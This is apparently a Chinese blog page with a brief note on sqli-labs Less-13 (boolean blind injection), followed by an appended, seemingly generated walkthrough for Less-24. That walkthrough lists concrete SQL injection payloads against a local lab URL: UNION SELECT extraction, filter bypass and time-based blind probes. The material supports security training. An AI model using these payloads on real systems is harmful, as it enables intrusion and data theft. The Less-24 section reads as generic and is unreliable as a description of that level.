Sqli-LABS通关笔录-13

本文介绍了一种特定场景下的SQL注入攻击方法——布尔型盲注,并提出使用二分法进行注入的策略。通过实例展示了当常规输入方式出现问题时,如何调整注入手法以实现目标。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

输入账号:'123密码:456就报错了,报错如下所示:

跟刚才一样的。双引号换成了单引号而已。

 

注入为布尔型盲注,可以使用二分法注入

 

THE END


 

### 第24解法分析 SQLi-Labs第24的主要挑战在于注入点的处理和绕过过滤规则。本卡的目标是通过SQL注入获取数据库的信息,例如当前数据库名称、表名或字段名等。 #### 键步骤 1. **确定注入类型** 第24使用的是基于错误回显的注入方式,通常可以通过构造一个带有语法错误的SQL语句来触发错误信息,从而确认注入点的存在。常见的测试方法是输入 `'` 或 `"` 来尝试引发错误。例如: ```http http://127.0.0.1/sqli-labs-master/Less-24/?id=1' ``` 如果页面返回了SQL错误,则说明存在注入点。 2. **判断字段数量** 在确认注入点后,需要进一步判断当前查询的字段数量。这可以通过 `ORDER BY` 语句实现。逐步增加数字直到出现错误: ```http http://127.0.0.1/sqli-labs-master/Less-24/?id=1' ORDER BY 3 --+ ``` 当数字超过实际字段数时,会触发错误,从而确定字段数量。 3. **联合查询注入** 确定字段数量后,可以使用 `UNION SELECT` 进行联合查询,以获取数据库相信息。例如,如果字段数为3,则可以构造如下注入语句: ```http http://127.0.0.1/sqli-labs-master/Less-24/?id=-1' UNION SELECT 1,2,3 --+ ``` 页面中显示的数字位置即为可利用的输出点。 4. **获取数据库信息** 利用上述注入点,可以进一步获取数据库的详细信息。例如,获取当前数据库名称: ```http http://127.0.0.1/sqli-labs-master/Less-24/?id=-1' UNION SELECT 1,database(),3 --+ ``` 此外,还可以获取表名和字段名。例如,获取 `security` 数据库中的表名: ```http http://127.0.0.1/sqli-labs-master/Less-24/?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security' --+ ``` 5. **绕过过滤机制** 第24可能存在对某些键字(如 `union`、`select`)的过滤。为了绕过这些限制,可以使用大小写混合或编码技术。例如: ```http http://127.0.0.1/sqli-labs-master/Less-24/?id=-1' UnIoN SeLeCT 1,database(),3 --+ ``` 6. **盲注攻击** 如果无法直接通过联合查询获取数据,可以尝试使用盲注技术。例如,通过 `if` 和 `sleep` 函数进行时间盲注: ```http http://127.0.0.1/sqli-labs-master/Less-24/?id=1' and if(substring((select database()),1,1)='s',sleep(3),0) --+ ``` ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值